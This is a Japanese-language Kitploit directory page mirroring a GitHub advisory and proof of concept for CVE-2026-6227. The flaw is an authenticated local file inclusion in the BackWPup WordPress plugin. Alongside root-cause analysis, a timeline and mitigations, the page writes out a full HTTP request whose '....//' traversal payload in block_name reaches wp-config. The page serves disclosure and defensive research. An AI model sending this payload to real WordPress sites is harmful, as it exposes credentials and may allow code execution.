Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-6227 — CVE-2026-6227の教育用概念実証です。BackWPup WordPressプラグインにおける認証済みローカルファイルインクルード(Local File Inclusion)に関するもので、根本原因の分析、エクスプロイトリクエスト、および緩和策のガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/pixel-defaultbr/cve-2026-6227
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubpixel-defaultbr/cve-2026-6227

CVE-2026-6227

CVE-2026-6227の教育用概念実証です。BackWPup WordPressプラグインにおける認証済みローカルファイルインクルード(Local File Inclusion)に関するもので、根本原因の分析、エクスプロイトリクエスト、および緩和策のガイダンスを含みます。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-6227: BackWPup におけるローカルファイルインクルード

CVSS Version Researcher

アドバイザリ概要

BackWPup バージョン 5.6.6 以前は、/wp-json/backwpup/v1/getblock REST エンドポイントの block_name パラメータを介した、認証済みローカルファイルインクルード(LFI)脆弱性の影響を受けます。

この欠陥は、トラバーサルシーケンスの非再帰的な str_replace() サニタイズ処理によって引き起こされ、バージョン 5.6.7 で修正済みです。

メタデータ

  • CVE: CVE-2026-6227
  • 深刻度: 高
  • CVSS スコア: 7.2
  • 影響を受ける製品: BackWPup WordPress プラグイン
  • 影響を受けるバージョン: <= 5.6.6
  • 修正バージョン: 5.6.7
  • ステータス: パッチ適用済み
  • 開示日: 2026-04-13
  • 研究者: Pixel_DefaultBR

免責事項

このリポジトリは、教育および倫理的なセキュリティ研究のみを目的としています。ここで提供される情報は、管理者やセキュリティチームがシステムを検証するのに役立つことを意図しています。明示的な書面による許可なしに、対象に対してこれを使用しないでください。

影響を受ける範囲

  • 関数: BackWPupHelpers::component()
  • エンドポイント: POST /wp-json/backwpup/v1/getblock
  • パラメータ: block_name
  • アクセスレベル: 認証済み管理者(またはバックアップ権限を委任されたユーザー)

根本原因分析

脆弱なコンポーネントローダーは、include() を呼び出す前に非再帰的な str_replace() サニタイズ処理を適用します。これは、....// や ..././ などの巧妙に細工されたトラバーサルパターンを使用してバイパスでき、攻撃者が制御するパス解決を可能にします。

影響

  • サーバーファイルシステムからの任意のローカル PHP ファイルインクルード
  • 機密データの漏えいの可能性(例: wp-config.php)
  • 特定のサーバー/アプリケーション構成におけるリモートコード実行の可能性

デフォルトでは、悪用には管理者レベルのアクセスが必要です。バックアップ権限が委任されている場合、低権限ユーザーもこの問題を悪用できる可能性があります。

悪用の前提条件

  • 有効な認証済み WordPress セッション
  • 有効な REST nonce
  • 管理者権限または委任されたバックアップ権限

概念実証

シナリオ: ローカルファイルインクルード

  1. BackWPup ジョブ権限を持つアカウントを使用して WordPress にログインします。
  2. プラグイン UI から通常のリクエストをトリガーし、プロキシでトラフィックを傍受します。
  3. /wp-json/backwpup/v1/getblock への正当な POST リクエストを特定します。
  4. block_name をトラバーサルペイロードに置き換えます。

リクエスト例:

root@kitploit:~
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>

block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
  1. レスポンスを観察して、ファイルインクルードの動作を確認します。

タイムライン

  • 2026-03: 脆弱性をベンダーに報告
  • 2026-03-25: ベンダーが 5.6.7 でパッチをリリース
  • 2026-04-13: 公開開示(CVE-2026-6227)

緩和策

  • BackWPup をバージョン 5.6.7 以降に更新する
  • backwpup 権限の割り当てを信頼できるロールのみに制限する
  • /wp-json/backwpup/v1/getblock への不審なアクセスについて監査ログを確認する

参考情報

  • ベンダープラグインページ: https://wordpress.org/plugins/backwpup/
  • CVE リファレンス(Wordfence): https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backwpup/backwpup-566-authenticated-administrator-local-file-inclusion-via-block-name-parameter
ツールをダウンロード